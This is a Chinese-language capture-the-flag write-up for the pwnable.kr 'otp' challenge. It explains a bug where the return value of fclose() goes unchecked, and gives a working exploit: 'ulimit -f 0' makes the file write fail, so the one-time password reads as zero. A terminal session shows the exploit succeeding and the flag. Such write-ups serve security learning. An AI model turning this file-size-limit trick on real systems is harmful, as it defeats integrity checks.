pwnable.kr 之 otp

分析一下程序的源码,程序从/dev/urandow伪随机设备里读出16个字节,前8个字节做为文件名,后8个字节存在该文件内,最后从该文件中读出8字节与传入的参数比较,相等就get flag。

题目说了不能爆破,所以一点头绪也没有。

ulimit命令

  • -a  显示目前资源限制的设定。
  • -c <core文件上限>  设定core文件的最大值,单位为区块。
  • -d <数据节区大小>  程序数据节区的最大值,单位为KB。
  • -f <文件大小>  shell所能建立的最大文件,单位为区块。
  • -H  设定资源的硬性限制,也就是管理员所设下的限制。
  • -m <内存大小>  指定可使用内存的上限,单位为KB。
  • -n <文件数目>  指定同一时间最多可开启的文件数。
  • -p <缓冲区大小>  指定管道缓冲区的大小,单位512字节。
  • -s <堆叠大小>  指定堆叠的上限,单位为KB。
  • -S  设定资源的弹性限制。
  • -t <CPU时间>  指定CPU使用时间的上限,单位为秒。
  • -u <程序数目>  用户最多可开启的程序数目。
  • -v <虚拟内存大小>  指定可使用的虚拟内存上限,单位为KB。

使用ulimit -f 0来限制进程创建文件的大小为0,这样程序在执行fclose的时候缓冲区的内容就无法写入文件,那么最后读出来的就是0了。

直接在平台上操作

1
2
3
4
5
6
7
8
9
10
11
otp@pwnable:~$ ulimit -f 0
otp@pwnable:~$ python
Python 2.7.12 (default, Mar 1 2021, 11:38:31)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system('./otp 0')
OTP generated.
Congratz!
Darn... I always forget to check the return value of fclose() :(
0

需要注意的是,这里不能直接在shell里搞,因为这样shell会直接返回异常。

这题主要考查的问题就像flag中说的那样,没有对flcose的返回值进行检查,导致可能文件写入失败。但是没有对ulimit命令进行限制也是其中的一个问题。

0%